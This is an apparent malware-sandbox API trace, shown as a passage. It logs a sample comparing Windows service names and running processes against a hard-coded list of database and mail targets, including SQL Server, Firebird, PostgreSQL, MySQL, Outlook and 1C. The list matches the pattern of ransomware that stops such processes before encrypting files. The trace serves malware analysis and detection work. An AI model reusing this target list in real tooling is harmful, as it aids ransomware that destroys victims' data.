returned 1 [0073.967] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0073.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0073.967] lstrlenW (lpString="SysMain") returned 7 [0073.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0073.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0073.967] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0073.967] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0073.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0073.967] lstrlenW (lpString="Themes") returned 6 [0073.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0073.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0073.968] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0073.968] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0073.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0073.968] lstrlenW (lpString="TrkWks") returned 6 [0073.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0073.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0073.968] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0073.968] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0073.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0073.968] lstrlenW (lpString="UxSms") returned 5 [0073.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0073.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0073.968] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0073.968] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0073.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0073.968] lstrlenW (lpString="WdiServiceHost") returned 14 [0073.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0073.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0073.969] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0073.969] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0073.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0073.969] lstrlenW (lpString="WdiSystemHost") returned 13 [0073.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0073.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0073.969] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0073.969] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0073.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0073.969] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0073.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0073.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0073.969] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0073.969] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0073.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0073.969] lstrlenW (lpString="Winmgmt") returned 7 [0073.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0073.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0073.970] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0073.970] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0073.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0073.970] lstrlenW (lpString="WPDBusEnum") returned 10 [0073.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0073.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0073.970] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0073.970] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0073.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0073.970] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3ee1068 | out: hHeap=0x5d0000) returned 1 [0073.970] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f8 [0073.988] Process32FirstW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0073.989] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0074.827] lstrlenW (lpString="System") returned 6 [0074.827] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0074.827] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0074.827] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0074.827] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0074.827] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0074.827] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0074.827] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0074.827] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0074.827] lstrlenW (lpString="smss.exe") returned 8 [0074.827] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0074.828] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0074.828] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0074.828] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0074.828] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0074.828] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0074.828] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0074.828] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0074.828] lstrlenW (lpString="csrss.exe") returned 9 [0074.828] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0074.828] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0074.828] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0074.829] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0074.829] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0074.829] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0074.829] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0074.829] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0074.829] lstrlenW (lpString="wininit.exe") returned 11 [0074.829] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0074.829] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0074.830] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0074.830] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0074.830] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0074.830] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0074.830] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0074.830] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0074.830] lstrlenW (lpString="csrss.exe") returned 9 [0074.830] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0074.830] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0074.831] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0074.831] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0074.831] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0074.831] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0074.831] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0074.832] lstrlenW (lpString="winlogon.exe") returned 12 [0074.832] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0074.832] lstrlenW (lpString="services.exe") returned 12 [0074.832] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0074.833] lstrlenW (lpString="lsass.exe") returned 9 [0074.833] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0074.834] lstrlenW (lpString="lsm.exe") returned 7 [0074.834] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.835] lstrlenW (lpString="svchost.exe") returned 11 [0074.835] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.835] lstrlenW (lpString="svchost.exe") returned 11 [0074.835] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.836] lstrlenW (lpString="svchost.exe") returned 11 [0074.836] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.837] lstrlenW (lpString="svchost.exe") returned 11 [0074.837] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.838] lstrlenW (lpString="svchost.exe") returned 11 [0074.838] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0074.839] lstrlenW (lpString="audiodg.exe") returned 11 [0074.839] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.840] lstrlenW (lpString="svchost.exe") returned 11 [0074.840] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.841] lstrlenW (lpString="svchost.exe") returned 11 [0074.841] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0074.842] lstrlenW (lpString="dwm.exe") returned 7 [0074.842] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0074.843] lstrlenW (lpString="explorer.exe") returned 12 [0074.843] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0074.844] lstrlenW (lpString="spoolsv.exe") returned 11 [0074.845] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.846] lstrlenW (lpString="svchost.exe") returned 11 [0074.846] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0074.847] lstrlenW (lpString="taskhost.exe") returned 12 [0074.847] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0074.848] lstrlenW (lpString="taskeng.exe") returned 11 [0074.848] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="developingthousands.exe")) returned 1 [0074.849] lstrlenW (lpString="developingthousands.exe") returned 23 [0074.849] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="efattack.exe")) returned 1 [0074.850] lstrlenW (lpString="efattack.exe") returned 12 [0074.850] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="feedback.exe")) returned 1 [0074.851] lstrlenW (lpString="feedback.exe") returned 12 [0074.851] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="happy blond engage.exe")) returned 1 [0074.852] lstrlenW (lpString="happy blond engage.exe") returned 22 [0074.852] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controller_type.exe")) returned 1 [0074.853] lstrlenW (lpString="controller_type.exe") returned 19 [0074.853] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="donations_berry.exe")) returned 1 [0074.854] lstrlenW (lpString="donations_berry.exe") returned 19 [0074.854] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lindsay.exe")) returned 1 [0074.855] lstrlenW (lpString="lindsay.exe") returned 11 [0074.855] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="columnists.exe")) returned 1 [0074.856] lstrlenW (lpString="columnists.exe") returned 14 [0074.856] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="expected_converter_behind.exe")) returned 1 [0074.857] lstrlenW (lpString="expected_converter_behind.exe") returned 29 [0074.857] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="chose.exe")) returned 1 [0074.858] lstrlenW (lpString="chose.exe") returned 9 [0074.858] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinary_became.exe")) returned 1 [0074.859] lstrlenW (lpString="disciplinary_became.exe") returned 23 [0074.859] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="methods.exe")) returned 1 [0074.860] lstrlenW (lpString="methods.exe") returned 11 [0074.860] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation.exe")) returned 1 [0074.860] lstrlenW (lpString="circulation.exe") returned 15 [0074.860] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="suited.exe")) returned 1 [0074.861] lstrlenW (lpString="suited.exe") returned 10 [0074.861] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="infrastructure.exe")) returned 1 [0074.862] lstrlenW (lpString="infrastructure.exe") returned 18 [0074.862] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="manager_olympic.exe")) returned 1 [0074.863] lstrlenW (lpString="manager_olympic.exe") returned 19 [0074.863] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="relaxation-senegal-ring.exe")) returned 1 [0075.113] lstrlenW (lpString="relaxation-senegal-ring.exe") returned 27 [0075.113] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="help_through_allowing.exe")) returned 1 [0075.114] lstrlenW (lpString="help_through_allowing.exe") returned 25 [0075.114] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0075.115] lstrlenW (lpString="3dftp.exe") returned 9 [0075.115] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0075.116] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0075.116] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0075.117] lstrlenW (lpString="alftp.exe") returned 9 [0075.117] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0075.119] lstrlenW (lpString="barca.exe") returned 9 [0075.119] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0075.120] lstrlenW (lpString="bitkinex.exe") returned 12 [0075.120] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0075.121] lstrlenW (lpString="coreftp.exe") returned 11 [0075.121] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0075.122] lstrlenW (lpString="far.exe") returned 7 [0075.122] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0075.123] lstrlenW (lpString="filezilla.exe") returned 13 [0075.123] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0075.124] lstrlenW (lpString="flashfxp.exe") returned 12 [0075.124] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0075.125] lstrlenW (lpString="fling.exe") returned 9 [0075.125] 